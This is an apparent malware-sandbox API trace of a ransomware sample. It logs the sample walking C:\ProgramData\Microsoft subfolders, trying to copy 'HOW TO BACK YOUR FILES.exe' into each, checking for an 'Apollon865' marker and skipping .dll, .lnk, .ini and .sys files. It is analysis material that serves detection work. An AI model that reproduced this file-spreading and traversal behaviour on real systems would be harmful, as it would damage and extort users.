	[0051.034] lstrcmpiW (lpString1="Pending.GRL", lpString2=".sys") returned 1
	[0051.035] lstrlenW (lpString="Pending.GRL") returned 11
	[0051.035] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player"
	[0051.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0051.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0051.035] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Media Player") returned 37
	[0051.035] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Media Player" | out: lpString1="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player"
	[0051.035] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.035] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.035] GetLastError () returned 0x0
	[0051.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.035] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.035] CloseHandle (hObject=0x15c) returned 1
	[0051.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.036] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.036] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.036] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.036] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.036] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.036] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0051.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0051.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0051.036] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36
	[0051.036] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0051.036] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.036] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.036] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.037] GetLastError () returned 0x0
	[0051.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.037] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.037] CloseHandle (hObject=0x15c) returned 1
	[0051.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.037] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.037] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.037] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ppcrlconfig.dll" | out: lpString1="ppcrlconfig.dll") returned="ppcrlconfig.dll"
	[0051.037] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0051.037] lstrlenW (lpString="Apollon865") returned 10
	[0051.037] lstrcmpiW (lpString1="config.dll", lpString2="Apollon865") returned 1
	[0051.037] lstrlenW (lpString=".dll") returned 4
	[0051.037] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".dll") returned 1
	[0051.037] lstrlenW (lpString=".lnk") returned 4
	[0051.037] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".lnk") returned 1
	[0051.037] lstrlenW (lpString=".ini") returned 4
	[0051.037] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".ini") returned 1
	[0051.037] lstrlenW (lpString=".sys") returned 4
	[0051.037] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".sys") returned 1
	[0051.038] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0051.038] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ppcrlui.dll" | out: lpString1="ppcrlui.dll") returned="ppcrlui.dll"
	[0051.038] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0051.038] lstrlenW (lpString="Apollon865") returned 10
	[0051.038] lstrcmpiW (lpString1="pcrlui.dll", lpString2="Apollon865") returned 1
	[0051.038] lstrlenW (lpString=".dll") returned 4
	[0051.038] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".dll") returned 1
	[0051.038] lstrlenW (lpString=".lnk") returned 4
	[0051.038] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".lnk") returned 1
	[0051.038] lstrlenW (lpString=".ini") returned 4
	[0051.038] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".ini") returned 1
	[0051.038] lstrlenW (lpString=".sys") returned 4
	[0051.038] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".sys") returned 1
	[0051.038] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0051.038] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0051.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0051.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0051.038] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37
	[0051.038] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0051.038] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.039] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.039] GetLastError () returned 0x0
	[0051.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.039] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.039] CloseHandle (hObject=0x15c) returned 1
	[0051.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.039] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.039] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.039] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.039] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.039] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.039] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Views" | out: lpString1="Views") returned="Views"
	[0051.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0051.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0051.039] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0051.039] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0051.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0051.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0051.039] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 43
	[0051.040] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"
	[0051.040] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.040] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.040] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.040] GetLastError () returned 0x0
	[0051.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.040] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.040] CloseHandle (hObject=0x15c) returned 1
	[0051.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.040] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.040] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.043] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.044] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="ApplicationViewsRootNode" | out: lpString1="ApplicationViewsRootNode") returned="ApplicationViewsRootNode"
	[0051.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0051.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5c8f30
	[0051.044] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0051.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0051.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0051.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0051.044] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 68
	[0051.044] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0051.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\applicationviewsrootnode\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.044] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.044] GetLastError () returned 0x0
	[0051.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.044] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.045] CloseHandle (hObject=0x15c) returned 1
	[0051.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.045] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.045] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.045] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.045] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.045] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.045] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\eHome", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome"
	[0051.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6358 | out: hHeap=0x580000) returned 1
	[0051.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0051.045] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome") returned 30
	[0051.045] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\eHome" | out: lpString1="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome"
	[0051.045] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.046] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.046] GetLastError () returned 0x0
	[0051.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.046] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.046] CloseHandle (hObject=0x15c) returned 1
	[0051.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.046] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.046] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.046] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.046] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.046] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0051.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0051.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf28
	[0051.046] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0051.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\eHome\\logs", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs"
	[0051.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0051.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0051.046] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome\\logs") returned 35
	[0051.047] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\eHome\\logs" | out: lpString1="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs"
	[0051.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.047] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.047] GetLastError () returned 0x0
	[0051.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.047] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.047] CloseHandle (hObject=0x15c) returned 1
	[0051.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.047] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.047] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.047] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.047] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.048] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.048] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\DRM", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0051.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x580000) returned 1
	[0051.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0051.048] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28
	[0051.048] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\DRM" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0051.048] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.048] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0
